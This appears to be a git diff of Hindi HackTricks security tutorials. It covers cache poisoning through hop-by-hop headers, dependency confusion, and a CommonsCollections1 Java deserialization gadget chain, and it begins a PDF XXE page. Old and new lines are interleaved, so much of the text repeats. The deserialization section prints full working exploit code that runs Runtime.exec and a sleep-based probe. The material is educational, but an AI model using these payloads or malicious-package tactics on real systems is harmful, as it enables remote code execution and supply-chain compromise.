1. एक हमलावर एक वेब एप्लिकेशन को एक हॉप-बाय-हॉप हेडर के साथ अनुरोध भेजता है जो कैश नहीं होना चाहिए (उदाहरण के लिए, `Connection: close, Cookie`).
2. खराब रूप से कॉन्फ़िगर किया गया कैश सर्वर हॉप-बाय-हॉप हेडर को हटाने में असफल रहता है और हमलावर के सत्र के लिए विशेष प्रतिक्रिया कैश करता है।
3. भविष्य के उपयोगकर्ताएं एक ही संसाधन का अनुरोध करते हैं जिसे हमलावर के लिए अनुकूलित किया गया था, जिससे सत्र हाइजैकिंग या संवेदनशील जानकारी का प्रकट हो सकता है।
**हमला परिदृश्य:**
1. एक हमलावर एक वेब एप्लिकेशन को एक hop-by-hop header के साथ अनुरोध भेजता है जिसे कैश नहीं किया जाना चाहिए (जैसे, `Connection: close, Cookie`)।
2. खराब कॉन्फ़िगर किया गया कैश सर्वर hop-by-hop header को नहीं हटाता है और हमलावर के सत्र के लिए विशिष्ट प्रतिक्रिया को कैश करता है।
3. भविष्य के उपयोगकर्ता जब उसी संसाधन के लिए अनुरोध करते हैं, तो उन्हें कैश की गई प्रतिक्रिया मिलती है, जो हमलावर के लिए तैयार की गई थी, जिससे सत्र अपहरण या संवेदनशील जानकारी का खुलासा हो सकता है।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीएस**](https://opensea.io/collection/the-peass-family) संग
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,54 +1,58 @@
# डिपेंडेंसी कन्फ्यूजन
# Dependency Confusion
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**।**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## मूल जानकारी
सारांश में, एक डिपेंडेंसी कन्फ्यूजन सुरक्षा दोष उत्पन्न होता है जब एक परियोजना एक पुस्तकालय का उपयोग कर रही है जिसका **गलत तरीके से लिखा गया नाम है**, **अस्तित्व में नहीं है** या **अनिर्दिष्ट संस्करण** के साथ और उपयोग की गई डिपेंडेंसी रिपॉज़िटरी को **सार्वजनिक** रिपॉज़िटरियों से **अपडेटेड संस्करण इकट्ठा करने की अनुमति देता है**
## Basic Information
* **गलत तरीके से लिखा गया**: `requests` की जगह **`reqests`** आयात करें
* **अस्तित्व में नहीं है**: `कंपनी-लॉगिंग` को आयात करें, एक आंतरिक पुस्तकालय जो **अब मौजूद नहीं है**
* **अनिर्दिष्ट संस्करण**: एक **आंतरिक** **मौजूद** `कंपनी-रिक्वेस्ट्स` पुस्तकालय को आयात करें, लेकिन रिपॉ चेक **सार्वजनिक रिपॉ** करने के लिए करता है कि क्या **अधिक वर्शन** हैं।
संक्षेप में, एक dependency confusion vulnerability तब होती है जब एक प्रोजेक्ट एक लाइब्रेरी का उपयोग कर रहा होता है जिसका **गलत स्पेलिंग** नाम, **अस्तित्वहीन** या **अनिर्धारित संस्करण** होता है और उपयोग की जाने वाली dependency repository **सार्वजनिक** repositories से **अपडेटेड संस्करणों को इकट्ठा करने** की अनुमति देती है।
## शोषण
* **गलत स्पेलिंग**: Import **`reqests`** instead of `requests`
* **अस्तित्वहीन**: Import `company-logging`, एक आंतरिक लाइब्रेरी जो **अब मौजूद नहीं है**
* **अनिर्धारित संस्करण**: Import an **internal** **existent** `company-requests` लाइब्रेरी, लेकिन repo **सार्वजनिक repos** की जांच करता है यह देखने के लिए कि क्या वहाँ **बड़े संस्करण** हैं।
## Exploitation
{% hint style="warning" %}
सभी मामलों में हमलावर को केवल एक **दुराचारी पैकेज का नाम** प्रकाशित करने की आवश्यकता होती है जिसे पीड़ित कंपनी द्वारा उपयोग की जाने वाली पुस्तकालयों का नाम है।
सभी मामलों में हमलावर को केवल एक **दुष्ट पैकेज का नाम** प्रकाशित करने की आवश्यकता होती है ज पीड़ित कंपनी द्वारा उपयोग की जाने वाली लाइब्रेरी का नाम है।
{% endhint %}
### गलत तरीके से लिखा गया और अस्तित्व में नहीं है
### Misspelled & Inexistent
यदि आपकी कंपनी को **आंतरिक नहीं होने वाली पुस्तकालय आयात करने की कोशिश कर रही है**, तो संभावना है कि पुस्तकालय का रिपॉ इसे **सार्वजनिक रिपॉ** में खोज रहा होगा। यदि कोई हमलावर ने इसे बनाया है, तो आपका कोड और मशीनें जिन पर चल रही हैं, संभावना है कि कम्प्रोमाइज़ हो जाएंगी।
यदि आपकी कंपनी एक **लाइब्रेरी को आयात करने की कोशिश कर रही है जो आंतरिक नहीं है**, तो बहुत संभावना है कि लाइब्रेरी का repo इसे **सार्वजनिक repositories** में खोजने जा रहा है। यदि एक हमलावर ने इसे बनाया है, तो आपका कोड और चलने वाली मशीनें बहुत संभावना है कि समझौता की जाएंगी।
### Unspecified Version
It's very common for developers to **not specify any version** of the library used, or specify just a **mayor version**. Then, the interpreter will try to download the **latest version** fitting those requirements.\
If the library is a **known external library** (like python `requests`), an **attacker cannot do much**, as he won't be able to create a library called `requests` (unless he is the original author).\
However, if the library is **internal**, like `requests-company` in this example, if the **library repo** allows to **check for new versions also externally**, it will search for a newer version publicly available.\
So if an **attacker knows** that the company is using the `requests-company` library **version 1.0.1** (allow minor updates). He can **publish** the library `requests-company` **version 1.0.2** and the company will **use that library instead** of the internal one.
डेवलपर्स के लिए यह बहुत सामान्य है कि वे उपयोग की जाने वाली लाइब्रेरी का **कोई संस्करण निर्दिष्ट नहीं करते** हैं, या केवल एक **मेजर संस्करण** निर्दिष्ट करते हैं। फिर, इंटरप्रेटर उन आवश्यकताओं के अनुसार **नवीनतम संस्करण** डाउनलोड करने की कोशिश करेगा।\
यदि लाइब्रेरी एक **ज्ञात बाहरी लाइब्रेरी** है (जैसे python `requests`), तो एक **हमलावर ज्यादा कुछ नहीं कर सकता**, क्योंकि वह `requests` नाम की लाइब्रेरी नहीं बना सकेगा (जब तक कि वह मूल लेखक न हो)।\
हालांकि, यदि लाइब्रेरी **आंतरिक** है, जैसे इस उदाहरण में `requests-company`, यदि **लाइब्रेरी repo** बाहरी रूप से **नए संस्करणों की जांच करने** की अनुमति देता है, तो यह सार्वजनिक रूप से उपलब्ध एक नए संस्करण की खोज करेगा।\
तो यदि एक **हमलावर जानता है** कि कंपनी `requests-company` लाइब्रेरी **संस्करण 1.0.1** का उपयोग कर रही है (छोटे अपडेट की अनुमति देता है)। वह **लाइब्रेरी** `requests-company` **संस्करण 1.0.2** प्रकाशित कर सकता है और कंपनी उस लाइब्रेरी का **उपयोग करेगी** बजाय आंतरिक लाइब्रेरी के।
## AWS Fix
This vulnerability was found in AWS **CodeArtifact** (read the [**details in this blog post**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
AWS fixed this by allowing to specify if a library is internal or external, to avoid downloading internal dependencied from external repositories.
यह vulnerability AWS **CodeArtifact** में पाई गई थी (पढ़ें [**इस ब्लॉग पोस्ट में विवरण**](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)).\
AWS ने इसे इस तरह से ठीक किया कि यह निर्दिष्ट करने की अनुमति देता है कि एक लाइब्रेरी आंतरिक है या बाहरी, ताकि बाहरी repositories से आंतरिक dependencies डाउनलोड करने से बचा जा सके।
## Finding Vulnerable Libraries
In the [**original post about dependency confusion**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) the author searched for thousands of exposed package.json files containing javascript projects dependencies.
[**Dependency confusion के बारे में मूल पोस्ट**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) में लेखक ने हजारों एक्सपोज़ किए गए package.json फ़ाइलों की खोज की जो जावास्क्रिप्ट प्रोजेक्ट की dependencies को शामिल करती हैं।
## References
@ -59,14 +63,17 @@ In the [**original post about dependency confusion**](https://medium.com/@alex.b
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# CommonsCollection1 पेलोड - जावा ट्रांसफॉर्मर्स से Rutime exec() और Thread Sleep
# CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज़**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## जावा ट्रांसफॉर्मर्स से Rutime exec()
## Java Transformers to Rutime exec()
कई स्थानों पर आप एक जावा डेसीरियलाइज़ेशन पेलोड पा सकते हैं जो अपाचे कॉमन कलेक्शन्स से ट्रांसफॉर्मर्स का उपयोग करता है जैसे निम्नलिखित:
कई जगहों पर आप एक java deserialization payload पा सकते हैं जो Apache common collections से transformers का उपयोग करता है जैसे कि निम्नलिखित:
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -52,22 +55,22 @@ lazyMap.get("anything");
}
}
```
अगर आप जावा डीसीरियलाइज़ेशन पेलोड के बारे में कुछ नहीं जानते हैं तो यह समझना कठिन हो सकता है कि यह कोड क्यों एक कैल्क को निष्पादित करेगा।
यदि आपको जावा डेसिरियलाइजेशन पेलोड्स के बारे में कुछ नहीं पता है, तो यह समझना मुश्किल हो सकता है कि यह कोड कैलकुलेटर को क्यों चलाएगा।
सबसे पहले आपको यह जानना चाहिए कि जावा में **Transformer** एक ऐसी चीज है जो **एक क्लास को प्राप्त** करती है और **उसे एक दूसरे के लिए रूपांतरित** करती है।\
इसके अलावा यह दिलचस्प है कि यहाँ **निष्पादित पेलोड** **समतुल्य** है:
सबसे पहले, आपको यह जानने की आवश्यकता है कि **जावा में ट्रांसफार्मर** कुछ ऐसा है जो **एक क्लास को प्राप्त करता है** और **इसे एक अलग क्लास में बदलता है**।\
यह जानना भी दिलचस्प है कि यहाँ **एक्सीक्यूट** किया जा रहा **पेलोड** **समकक्ष** है:
```java
Runtime.getRuntime().exec(new String[]{"calc.exe"});
```
या **अधिक सटीकता से**, आखिर में क्या निष्पादित होगा:
या **और सटीक रूप से**, अंत में क्या निष्पादित किया जाएगा:
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
### कैसे
तो, पहले पेलोड में कैसे प्रस्तुत है जो उन "सरल" एक-लाइनर्स के समान हैं?
तो, पहला payload उन "सरल" एक-लाइनर्स के बराबर कैसे प्रस्तुत किया गया है?
**पहली** बात तो यह है कि पेलोड में एक **ट्रांसफॉर्म की श्रृंखला (एरे) बनाई गई है**:
**पहले** तो, आप payload में देख सकते हैं कि एक **transform का एक श्रृंखला (array) बनाई गई है**:
```java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
@ -94,15 +97,15 @@ command
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
```
यदि आप कोड पढ़ें तो आप देखेंगे कि यदि आप किसी भावी आदेशों को निषेधित करने के लिए सरणी के परिवर्तनों को किसी प्रकार जोड़ते हैं तो आप विचार कर सकते हैं।
यदि आप कोड पढ़ है, तो आप देखेंगे कि यदि आप किसी तरह से ऐरे के परिवर्तन को श्रृंखला में जोड़ते हैं, तो आप मनमाने कमांड निष्पादित करने में सक्षम हो सकते हैं।
तो, **वे परिवर्तन कैसे जोड़े जाते हैं?**
तो, **वे परिवर्तन कैसे श्रृंखला में जोड़े जाते हैं?**
```java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
```
आप पेयलोड के अंतिम खंड में देख सकते हैं कि एक **Map object बनाया गया है**। फिर, `decorate` फ़ंक्शन `LazyMap` से मानचित्र ऑब्ज
पेलोड के अंतिम अनुभाग में आप देख सकते हैं कि एक **Map ऑब्जेक्ट बनाया गया है**। फिर, `LazyMap` से `decorate` फ़ंक्शन को मैप ऑब्जेक्ट और चेन किए गए ट्रांसफार्मर्स के साथ निष्पादित किया जाता है। निम्नलिखित कोड से आप देख सकते हैं कि यह **चेन किए गए ट्रांसफार्मर्स** को `lazyMap.factory` विशेषता के अंदर कॉपी करने का कारण बनेगा:
```java
protected LazyMap(Map map, Transformer factory) {
super(map);
@ -112,7 +115,7 @@ throw new IllegalArgumentException("Factory must not be null");
this.factory = factory;
}
```
और फिर महान समापन को क्रियान्वित किया जाता है: `lazyMap.get("anything");`
और फिर महान समापन निष्पादित होता है: `lazyMap.get("anything");`
यह `get` फ़ंक्शन का कोड है:
```java
@ -125,7 +128,7 @@ return value;
return map.get(key);
}
```
और यह है `transform` फ़ंक्शन का कोड
और यह `transform` फ़ंक्शन का कोड है
```java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
@ -134,7 +137,11 @@ object = iTransformers[i].transform(object);
return object;
}
```
इसलिए, याद रखें कि **फैक्टरी** के अंदर हमने **`chainedTransformer`** को सहेजा था और **`transform`** फ़ंक्शन के अंदर हम **सभी उन ट्रांसफ़ॉर्मर्स के माध्यम से जा रहे हैं जो एक के बाद एक चेन किए गए हैं** और एक के बाद एक को क्रियान्वित कर रहे हैं। मजेदार बात यह है कि **प्रत्येक ट्रांसफ़ॉर्मर `object` का उपयोग कर रहा है** और **ऑब्ज
तो, याद रखें कि **factory** के अंदर हमने **`chainedTransformer`** को सहेजा था और **`transform`** फ़ंक्शन के अंदर हम **सभी उन ट्रांसफार्मर्स को चेन में जा रहे हैं** और एक के बाद एक निष्पादित कर रहे हैं। मजेदार बात यह है कि **प्रत्येक ट्रांसफार्मर `object`** **को इनपुट के रूप में उपयोग कर रहा है** और **object पिछले निष्पादित ट्रांसफार्मर से आउटपुट है**। इसलिए, **सभी ट्रांसफार्म्स चेन में दुर्भावनापूर्ण पेलोड को निष्पादित कर रहे हैं**
### सारांश
अंत में, यह देखते हुए कि lazyMap चेन किए गए ट्रांसफार्मर्स को get विधि के अंदर कैसे प्रबंधित कर रहा है, यह ऐसा है जैसे हम निम्नलिखित कोड को निष्पादित कर रहे हैं:
```java
Object value = "someting";
@ -155,15 +162,15 @@ new Class[]{String.class},
command
).transform(value); //(4)
```
_ध्यान दें कि `value` प्रत्येक transform का इनपुट है और पिछले transform का आउटपुट है, जिससे एक-लाइनर का निष्पादन संभव होता है:_
_ध्यान दें कि `value` प्रत्येक ट्रांसफॉर्म का इनपुट है और पिछले ट्रांसफॉर्म का आउटपुट है, जो एक-लाइनर के निष्पादन की अनुमति देता है:_
```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
```
ध्यान दें कि यहाँ **उन गैजेट्स की व्याख्या की गई थी** जो **ComonsCollections1** पेलोड के लिए उपयोग किए गए थे। लेकिन यह छूट गई है **कि यह सब कैसे आरंभ होता है**। आप यहाँ देख सकते हैं [कि **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), इस पेलोड को निष्पादित करने के लिए, एक `AnnotationInvocationHandler` ऑब्जेक्ट का उपयोग करता है क्योंकि **जब इस ऑब्जेक्ट को डीसीरियलाइज़ किया जाता है**, तो यह **`payload.get()` फ़ंक्शन को आमंत्रित करेगा** जो **पूरे पेलोड को निष्पादित करेगा**
ध्यान दें कि यहाँ **गैजेट्स** का वर्णन किया गया है जो **ComonsCollections1** पेलोड के लिए उपयोग किए जाते हैं। लेकिन यह छोड़ दिया गया है **कि यह सब कैसे शुरू होता है और यह कैसे निष्पादित होता है**। आप [यहाँ देख सकते हैं कि **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), इस पेलोड को निष्पादित करने के लिए, एक `AnnotationInvocationHandler` ऑब्जेक्ट का उपयोग करता है क्योंकि **जब यह ऑब्जेक्ट डीसिरियलाइज होता है**, यह **payload.get()** फ़ंक्शन को **निष्पादित** करेगा जो **पूरे पेलोड को निष्पादित करेगा**
## जावा थ्रेड स्लीप
## Java Thread Sleep
यह पेलोड **हैंडी हो सकता है ताकि पता लगाया जा सके कि क्या वेब कमजोर है क्योंकि यह एक स्लीप को निष्पादित करेगा अगर यह है**।
यह पेलोड **यह पहचानने के लिए उपयोगी हो सकता है कि क्या वेब कमजोर है क्योंकि यह यदि कमजोर है तो एक स्लीप निष्पादित करेगा**।
```java
import org.apache.commons.*;
import org.apache.commons.collections.*;
@ -206,20 +213,23 @@ lazyMap.get("anything");
}
}
```
## अधिक गैजेट
## अधिक गैजेट्स
आप यहाँ अधिक गैजेट्स पा सकते हैं: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
आप अधिक गैजेट्स यहाँ पा सकते हैं: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
##
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,27 +1,33 @@
# PDF अपलोड - XXE और CORS बायपास
# PDF Upload - XXE और CORS बायपास
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** में PR जमा करके अपने हैकिंग ट्रिक्स साझा करें।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।**
